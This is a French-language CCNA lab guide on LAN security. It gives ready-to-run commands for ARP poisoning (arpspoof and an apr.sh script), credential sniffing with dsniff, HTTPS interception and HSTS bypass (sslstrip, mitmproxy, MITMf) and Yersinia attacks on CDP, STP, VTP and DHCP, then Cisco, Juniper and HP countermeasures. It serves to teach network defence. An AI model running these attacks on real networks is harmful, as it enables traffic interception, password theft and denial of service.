Objectifs de certification

CCNA 200-301

  • 5.7 Configurer les fonctionnalités de sécurité Layer 2 (DHCP snooping, dynamic ARP inspection, et port security)


Lab Sécurité dans le LAN

Protocoles ARP/IPv4, ND/IPv6, IPAM et 802.1

1. Menaces sur le LAN

Menaces : attaques

  • Reconnaissance, Énumération
  • Usurpation (Spoofing) d’adresses, de messages
  • Empoisonnement de tables, de caches
  • Denis de service (DoS, Denial of Service)
  • Inondation (Flooding)
  • Déconnexions (Release, désynchronisation)
  • Modifications topologiques
  • Homme du milieu (MitM, Man-in-the-Middle)

Menaces sur le LAN : cîbles

  • Technologies LAN : filaire et non-filaire
  • Matériels cîbles :
    • Commutateurs
    • Points d’accès et contrôleurs
    • toute interface dans le LAN : routeurs et périphériques terminaux
  • Protocoles cîbles au sein du LAN :
    • Exploitation du Broadcast et du Multicast
    • ARP,
    • DHCP,
    • 802.1 (CDP, STP, DTP, VLAN, …)
    • NTP, SNMP, DNS, …

Topologie et matériel

  • Station Kali Linux (VM ou Native)
  • Un commutateur Cisco
  • Connexion filaire au commutateur
  • Connexion console au commutateur

Topologie

ip routing
int vlan 1
ip add dhcp

Créer plusieurs interfaces VLAN :

vlan x
int vlan x
no shut
ip add x x

Activation de VTP :

vtp domain lab

2. Protocole ARP

Manipulations ARP

CommandeExploitAttaque
arpVérification du cache ARP localReconnaissance
arpingConnectivité ARPReconnaissance
arp-scanEnumération ARP/IPReconnaissance
macchangerUsurpation d’adresse MACAccès, usurpation
arpspoofAttaque ARP Poison RoutingMitM => L7
macofCAM buffer OverflowMitM, DoS

Commande arp

Commande système permettant d’afficher et manipuler la table ARP locale.

Commande passive.

arp -a : visualiser toutes les entrées

arp -d * : supprimer toutes les entrées

Commande arping

arping vérifie la connectivité en émettant et attendant des messages ARP.

L’outil permet aussi de détecter des adresses dupliquées.

arping --help
man arping

http://linux-ip.net/html/tools-arping.html

Commande arp-scan

arp-scan permet d’énumérer les hôtes sur le LAN avec ARP.

apt-get install arp-scan
arp-scan --help
man arp-scan
arp-scan 192.168.0.0/24
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
192.168.0.1	20:e5:2a:1b:65:6a	NETGEAR INC.,
192.168.0.5	70:56:81:bf:7c:37	Apple Inc
192.168.0.25	00:0c:29:5f:11:9f	VMware, Inc.
192.168.0.4	a8:06:00:38:cc:25	Samsung Electronics Co.,Ltd
192.168.0.4	a8:06:00:38:cc:25	Samsung Electronics Co.,Ltd (DUP: 2)

9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 256 hosts scanned in 2.053 seconds (124.70 hosts/sec). 5 responded

Commande macchanger

macchanger permet de modifier l’adresse MAC d’une interface.

macchanger --help

ifdown eth0
macchanger -m aa:bb:cc:dd:ee:ff eth0
ifup eth0
ifconfig eth0

Commande arpspoof

arpspoof permet d’usurper l’adresse MAC d’un hôte ou plusieurs hôtes sur le réseau et de leur transférer le trafic.

man arpspoof

Par exemple où .1 est la passerelle et .25 est la victime :

arpspoof -i eth0 -t 192.168.0.25 192.168.0.1
arpspoof -i eth0 -t 192.168.0.1 192.168.0.25

Commande macof

macof réalise une attaque CAM Table Overflow, soit un débordement de table de commutation afin de transformer le commutateur en concentrateur (hub).

Attaque peu élégante, peu discrète et peu crédible sur du matériel professionnel.

arpwatch

arpwatch effectue une surveillance du protocole ARP et rend des alertes par courriel :

apt-get install arpwatch
éditer /etc/arpwatch.conf

3. Attaque APR

APR pour “ARP Poison Routing” selon le document APR décrit une attaque de reniflage (sniffing) qui se déroule en deux moment : empoisonnement de la table ARP qui livre les paquets et routage des paquets vers la bonne destination.

Capture de paquets

Nous avons vu que la capture de paquet locale sur une environnement commuté fournissait des résultats uniquement pour le trafic livré à l’interface elle-même soit le trafic unicast à destination de la machine elle-même, le trafic Broadcast et multicast transférés d’emblée par les commutateur à travers tous ses ports.

Dans un environnement LAN commuté, le commutateur transfère directement le trafic en fonction de l’adresse MAC de destination encodée dans les trames Ethernet. Ce sont les hôtes d’origine et de destination qui encodent ces adresses sur base d’un processus ARP.

Dans un environnement LAN commuté, le commutateur transfère directement le trafic en fonction de l'adresse MAC de destination encodée dans les trames Ethernet. Ce sont les hôtes d'origine et de destination qui encodent ces adresses sur base d'un processus ARP.

Capturer des paquets dans un environnement LAN commuté

Si on désire capturer tous les paquets du réseau, on placera un port d’un commutateur Cisco en mode “span” soit en mode “mirroir” qui copie le trafic de vlans ou d’autres interfaces. Si la pratique est acceptable dans le cadre de la surveillance quotidienne du réseau, elle est moins crédible dans le cadre d’un audit d’intrusion.

Il pourrait sembler plus simple d’attaquer le commutateur. L’outil macofde la suite dsniff vise à saturer la table CAM du commutateur avec des entrées factices. L’effet escompté est que le commutateur transfère le trafic par tous ses ports à la manière d’un concentrateur Ethernet (Hub). Toutefois, les commutateurs d’entreprise pourraient supporter cette charge. L’auteur d’une telle attaque obtiendrait tout au plus un déni de service (DOS) peu discret.

Transfert de trafic dans une attaque APR

Dans un cadre autorisé, on peut s’intéresser à une faiblesse intrinsèque des protocoles TCP/IP sur les réseaux locaux. Elle concerne aussi bien ARP pour IPv4 que Neighbor Discovery pour IPv6. Ici, on s’intéressera uniquement à l’attaque dite “APR”.

La faiblesse tient au fait que les hôtes TCP/IP ne filtrent pas le trafic ARP. De la même manière aucune authentification de ce trafic n’est aujourd’hui implémentée dans nos réseaux. Les victimes vont accepter du trafic ARP “gratuitous” gratuitement adressé par le pirate en Unicast avec des champs ARP usurpés.

Une attaque APR (ARP Poison Routing) est une attaque d’interception (MiTM) du trafic qui consiste pour le pirate à empoisonner le cache ARP des victimes avec sa propre adresse MAC comme adresse physique de livraison pour les adresses IP attaquées. On peut aussi classer l’attaque dans la catégorie des attaques par usurpation (spoofing). A condition que le pirate prenne en charge le routage des trames entre les destinations légitimes, la communication ne sera pas interrompue. Le pirate pourra alors observer le trafic entre les victimes de manière transparente car elles lui livreront les paquets. Il est évident que le pirate peut devenir un goulot d’étranglement en fonction du nombre de victimes qu’il usurpe.

En bref, l’attaque consiste à empoisonner le cache des victimes avec son adresse MAC en correspondance des adresses IPv4 à usurper et à activer le routage IPv4. De manière crédule, les victimes vont livrer le trafic au pirate.

Mise en oeuvre d’attaques APR

Avant de mettre en oeuvre une telle attaque d’usurpation et d’interception, il est nécessaire :

  1. de disposer d’un accès libéré au LAN (port sur le commutateur, Wi-fi ouvert ou cassé)
  2. d’avoir passé l’étape de reconnaissance qui vise à reconnaître les cibles victimes (scan)

Les cibles de choix sont les utilisateurs d’une part et d’autre part la passerelle ou un serveur local spécifique.

L’empoisonnement de cache ARP peut alors intervenir.

Se faisant livrer le trafic, le pirate peut un lancer un analyser de paquet brute (Wireshark, tcpdump) ou spécifique comme dsniff ou une de ses variantes.

Plus subtil, on peut tenter de se faire livrer du trafic applicatif, HTTP, SSH ou encore SIP afin de le rendre sous forme de proxy au client victime. L’idée est de capturer des authentifications, des cookies de sessions pour du vol de sessions ou de rediriger l’utilisateur sur une fausse page web (phishing). HTTPS et son déploiement rendent ce type d’attaque de plus en plus difficile et démontre de mieux en mieux son efficacité.

Attaque APR avec Cain

Voir APR.

  1. Choisir son interface capture
    • Bouton Start Sniffer
    • Onglet supérieur Sniffer / onglet inférieur Hosts
    • Sigle + : réaliser un scan ARP
    • Onglet inférieur APR
    • Sigle + : ajouter les victimes de part et d’autre
    • Bouton start APR

Dsniff

Dsniff est un renifleur de trafic réseau, comme tcpdump ou ethereal/wireshark, mais il se contente de rechercher les mots de passe qui transitent en clair, exploitant ainsi les faiblesses de certains protocoles. C’est le programme central de la suite qui porte son nom.

Il supporte les protocoles FTP, Telnet, SMTP, HTTP, POP, poppass, NNTP, IMAP, SNMP, LDAP, Rlogin, RIP, OSPF, PPTP MS-CHAP, NFS, YP/NIS, SOCKS, X11, CVS, IRC, AIM, ICQ, Napster, PostgreSQL, Meeting Maker, Citrix ICA, Symantec pcAnywhere, NAI Sniffer, Microsoft SMB, Oracle SQL*Net, Sybase et Microsoft SQL.

  1. dsniff capture les protocoles cités
  2. filesnarf prend en charge les transferts NFS
  3. mailsnarf sort les messages SMTP et POP3
  4. msgsnarf enregistre les sessions chats AOL Instant Messenger, ICQ 2000, IRC, MSN Messenger, or Yahoo Messenger
  5. urlsnarf
  6. webspy permet de voir en temps réel les sessions HTTP capturées
  7. arpspoof : usurpe les tables ARP des victimes (ARP Poisoning)
  8. dnspoof
  9. macof sature la CAM table d’un commutateur (DoS)
  10. sshmitm
  11. webmitm
  12. Outil proxy : mitimproxy

Détail de l’attaque

Une analyse préalable comme un scan ARP permet d’identifier les stations (une personnalité de l’organisation, un admin) ou les serveurs victimes (téléphonie, courriel, partages, …). La passerelle du réseau local est aussi un cible de choix. L’attaque peut trouver son utilité sur des réseaux ouverts comme des hotspots wi-fi.

Par exemple sous Linux avec arpspoof, les victimes sont respectivement 192.168.1.100 et 192.168.1.254 :

On installe la suite logicielle dnsiff et on active le routage IPv4

apt-get install dsniff
echo 1 > /proc/sys/net/ipv4/ip_forward

On empoisonne la table ARP de 192.168.1.100 avec une annonce indiquant l’adresse IPv4 de l’autre victime 192.168.1.254 en relation avec l’adresse MAC de l’interface eth0 du pirate.

arpspoof -i eth0 -t 192.168.1.100 192.168.1.254

Ensuite dans un autre terminal, on empoisonne la table ARP de 192.168.1.254 avec une annonce indiquant l’adresse IPv4 de l’autre victime 192.168.1.100 en relation avec l’adresse MAC de l’interface eth0 du pirate.

arpspoof -i eth0 -t 192.168.1.254 192.168.1.100

Script nommé apr.sh qui libère la console :

#!/bin/bash
# APR script to transfer the trafic between two hosts
# Usage : bash apr.sh 2&>1 /dev/null

host1="192.168.1.100"
host2="192.168.1.254"

apt-get -y install dsniff
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t ${host1} ${host2} &
arpspoof -i eth0 -t ${host2} ${host1} &

A exécuter comme ceci :

# bash apr.sh 2&>1 /dev/null

Décodage de mots passe sur le réseau en clair : dnsiff.

dsniff -i eth0
dsniff: listening on eth0
-----------------
09/21/16 20:32:11 tcp 192.168.1.100.37304 -> 192.168.1.254.21 (ftp)
USER root
PASS root

-----------------
09/21/16 20:34:06 tcp 192.168.1.100.42546 -> 192.168.1.254.23 (telnet)
root
root

Contre-mesures

  • Inspection de couche 2
  • DAI (Deep ARP Inspection)
  • DHCP snooping
  • Surveillance
  • IDS/IPS
  • arpwatch, arpalert, ndpmon, ntop-ng
  • Tuning
  • Désactiver les “ARP gratuitous”
  • Des enregistrements statiques ?
  • Design réseau
  • Architecture VLAN
  • IEEE 802.1X/Radius/EAP/802.11i
  • HTTPS, SSH, SIPS, ZRTP
  • Infrastructure à clé publique (PKI)

Attaque MiTM : APR et interception proxy HTTP

Il s’agit de monter un proxy HTTP/HTTPS pour intercepter une authentification Web. Pour se faire livrer le trafic de la victime qui tente de se connecter à son réseau social favori, le pirate empoisonne son cache ARP avec l’adresse IP du routeur et son adresse MAC.

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT

iptables -A FORWARD -j ACCEPT

arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

webmitm -d

ssldump -n -d -k webmitm.crt | tee ssldump.log

Avec cette méthode, un site de réseau social répondra par cette erreur du côté du client : This site uses HTTP Strict Transport Security (HSTS) to specify that Firefox only connect to it securely. As a result, it is not possible to add an exception for this certificate.

Une variante de l’attaque avec mitmproxy donne le même résultat. Pour mémoire :

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8080

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

iptables -A FORWARD -j ACCEPT

arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

mitmproxy -T -p 8080

Une solution consisterait à désactiver HSTS sur le poste cible, en espérant qu’il ajoute une exception de sécurité. Les chances sont très serrées …

Une alternative consiste à intercepter le trafic HTTP (TCP80) ou HTTPS (TCP443) et de réaliser une coupure protocolaire. sslstrip réalise l’attaque en rendant des pages en HTTP avec une image de cadenas en favicon. Entre le proxy et le site cible, le trafic reste bien en HTTPS.

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 12000

sslstrip -l 12000

tail -f sslstrip.log

arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

A cet instant, cette procédure n’a pas pu être validée.

Par contre, on trouvera certainement l’outil MiTM Framework particulièrement fonctionnel. En laboratoire, on a pu lire en clair le mot de passe d’une session google sans erreur.

Source : https://github.com/byt3bl33d3r/MITMf

Installation à partir de Kali :

apt-get install mitmf

La procédure semble plus simple, elle sera surtout plus fonctionnelle :

mitmf -i eth0 --spoof --arp --hsts --gateway 192.168.1.1 --target 192.168.1.10

Cet article de blog et celui-ci suggère d’activer l’usurpation DNS, sans succès :

mitmf -i eth0 --spoof --arp --hsts --gateway 192.168.1.1 --target 192.168.1.10 --dns

Références sur MiTM Framework :

4. Protocoles LAN 802.1 et de gestion L2

Manipulations CDP, DTP, STP et 802.1Q

Yersinia : attaques 802.1

Attaques sur les protocles 802.1 et de gestion L2 (Cisco) :

  • CDP
  • 802.1Q
  • DTP
  • STP
  • VTP
  • 802.1X
  • ISL

Mais aussi sur :

  • HSRP
  • DHCP
  • MPLS

802.1D Spanning-Tree

  • 0: NONDOS attack sending conf BPDU
  • 1: NONDOS attack sending tcn BPDU
  • 2: DOS attack sending conf BPDUs
  • 3: DOS attack sending tcn BPDUs
  • 4: NONDOS attack Claiming Root Role
  • 5: NONDOS attack Claiming Other Role
  • 6: DOS attack Claiming Root Role with MiTM

CDP

  • 0: NONDOS attack sending CDP packet
  • 1: DOS attack flooding CDP table
  • 2: NONDOS attack Setting up a virtual device

HSRP

  • 0: NONDOS attack sending raw HSRP packet
  • 1: NONDOS attack becoming ACTIVE router
  • 2: NONDOS attack becoming ACTIVE router (MITM)

DHCP

  • 0: NONDOS attack sending RAW packet
  • 1: DOS attack sending DISCOVER packet
  • 2: NONDOS attack creating DHCP rogue server
  • 3: DOS attack sending RELEASE packet

DTP

  • 0: NONDOS attack sending DTP packet
  • 1: NONDOS attack enabling trunking

802.1q

  • 0: NONDOS attack sending 802.1Q packet
  • 1: NONDOS attack sending 802.1Q double enc. packet
  • 2: DOS attack sending 802.1Q arp poisoning

VTP

  • 0: NONDOS attack sending VTP packet
  • 1: DOS attack deleting all VTP vlans
  • 2: DOS attack deleting one vlan
  • 3: NONDOS attack adding one vlan
  • 4: DOS attack Catalyst zero day

Ligne de commande Yersinia

Par exemple à partir de la station pirate :

yersinia cdp -h
yersinia cdp -attack 1  -interface eth1
<*> Starting DOS attack flooding CDP table...
<*> Press any key to stop the attack <*>

Sur le commutateur :

SW-lab#sh cdp nei
Capability Codes: R - Router, T - Trans Bridge, B - Source Route Bridge
                  S - Switch, H - Host, I - IGMP, r - Repeater, P - Phone,
                  D - Remote, C - CVTA, M - Two-port Mac Relay

Device ID        Local Intrfce     Holdtme    Capability  Platform  Port ID
RRRRR6D          Fas 1/0/1         237            R B H I yersinia  Eth 0
2JJJJJX          Fas 1/0/1         239           R T S H  yersinia  Eth 0
2EEEEEW          Fas 1/0/1         227             T S r  yersinia  Eth 0
3KKKKKX          Fas 1/0/1         239          R T B S H yersinia  Eth 0

Démon CLI type cisco Yersinia

yersinia -D lance un cli type cisco, à essayer :

yersinia -D
telnet localhost 12000
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Welcome to yersinia version 0.7.3.
Copyright 2004-2007 Slay & Tomac.
login: root
password: root
yersinia> enable
Password: tomac
yersinia#
yersinia# run ?
  cdp        Run attacks for Cisco Discovery Protocol
  dhcp       Run attacks for Dynamic Host Configuration Protocol
  dot1q      Run attacks for IEEE 802.1Q
  dot1x      Run attacks for IEEE 802.1X
  dtp        Run attacks for Dynamic Trunking Protocol
  hsrp       Run attacks for Hot Standby Router Protocol
  isl        Run attacks for Inter-Switch Link Protocol
  mpls       Run attacks for MultiProtocol Label Switching
  stp        Run attacks for Spanning Tree Protocol
  vtp        Run attacks for VLAN Trunking Protocol

Mode interactif Yersinia

yersinia -I lance une console texte interactive très puissante.

  • “i” pour choisir une interface
  • les touches F2, F3, etc. ou la lettre “g” pour choisir un protocole
  • “x” pour lancer une attaque
  • “l” pour lister les attaques en cours
  • “K” pour arrêter les attaques en cours

Pour fixer le terminal texte en 80 X 25 en console Bash :

stty columns 80 ; stty rows 25
Mode interactif Yersinia

Mode graphique Yersinia

Mode graphique Yersinia

Script Frogger - VLAN Hopping

https://github.com/nccgroup/vlan-hopping—frogger

Simple VLAN enumeration and hopping script, Released as open source by NCC Group Plc - http://www.nccgroup.com/

5. Protocoles IPAM

Protocoles IPAM

  • Attaques sur HSRP, VRRP, GLBP
  • Protocoles L7 :
    • DHCP
    • DNS
    • NTP
    • SNMP

Attaques et menaces :

  • Service pirate (Rogue Server) : MitM, DoS
  • DoS par inondation
  • DoS par messages erronés
  • DoS par messages de desynchronisation

6. Contre-mesures

Contre-mesure sur le LAN

Sur les commutateurs Cisco (ou autres) :

  • DAI + DHCP snooping
  • Port-Security
  • BPDU Guard

Solutions structurelles (ARP, 802.1X/RADIUS/EAP) :

  • arpwatch
  • OpenVAS
  • PacketFence
  • Microsoft NAP
  • Cisco NAC
  • HP, Aruba, …

Protocoles de Gestion et 802.1D :

  • STP : BPDU Guard et différentes protections Cisco.
  • VTP, DTP, CDP : à désactiver

Contre-mesure Cisco : DAI + DHCP Snooping

  • Activation Deep ARP Inspection (DAI)
switch(config)# ip arp inspection vlan vlan_id {, vlan_id}
  • Activation DHCP snooping
switch(config)# ip dhcp snooping
!Enable DHCP Snooping!
switch(config)# ip dhcp snooping vlan vlan_id {, vlan_id}
!Enable DHCP Snooping for specific VLANs!
switch(config-if)# ip dhcp snooping trust
!Configure an interface as trusted for DHCP Snooping purposes!
switch(config-if)# ip dhcp snooping limit rate rate
!Set rate limit for DHCP Snooping!

Contre-mesure Cisco : port-security

switch(config-if)# switchport mode access
!Set the interface mode as access!
switch(config-if)# switchport port-security
!Enable port-security on the interface!
switch(config-if)# switchport port-security mac-address { <mac_addr> | sticky }
!Enable port security on the MAC address as H.H.H or record the first MAC address connected to the interface!
switch(config-if)# switchport port-security maximum <max_addresses>
!Set maximum number of MAC addresses on the port!
switch(config-if)# switchport port-security violation { protect | restrict | shutdown }
!Protect, Restrict or Shutdown the port. Cisco recommends the shutdown option!

Contre-mesure Juniper : Port Security

root@switch# set interface { <interface> | all } mac-limit <limit> action { none | drop | log | shutdown }
# Set the maximum number of MAC addresses allowed to connect to the interface
root@switch# set interface { <interface> | all } allowed-mac <mac_address>
# Set the allowed MAC address(es) allowed to connect to the interface

Contre-mesure HP : Port Security (global)

(config)# port security
!Enters the port security configuration mode!
(config-port-security)# enable
!Globally enables port security!
(config-port-security)# age <age>
!Sets the age out timer of the secure MAC address. <age> = number of minutes!
(config-port-security)# autosave <mins>
!Automatically saves the secure MAC addresses to the startup-config file every <mins> minutes!

Contre-mesure HP : Port Security (interface)

(config)# int <interface>
!Enters the interface configuration mode!
(config-if-<interface>)# port security
!Enters port security configuration mode on interface!
(config-if-port-security-<interface>)# enable
!Enables port security on interface!
(config-if-port-security-<interface>)# maximum <max>
!Sets the maximum number of secure MAC addresses for the interface!
(config-if-port-security-<interface>)# age <age>
!Sets the age out timer of the secure MAC address associated with interface. <age> = number of minutes!
(config-if-port-security-<interface>)# secure <mac_address>
!Manually specifies secure MAC address authorised by the switch port!
(config-if-port-security-<interface>)# violation { restrict | shutdown }
!If violation occurs: restrict = drops packets from violating address, shutdown = shutdown the port for <time> minutes!

Protections Cisco STP

  • PortFast BPDU Guard : fait tomber un port “portfast” qui recevrait des BPDUs illégitimes :
(config-if)#spanning-tree portfast
(config-if)#spanning-tree bpduguard enable
  • PortFast BPDU Filtering
  • UplinkFast
  • BackboneFast
  • Loop Guard

Références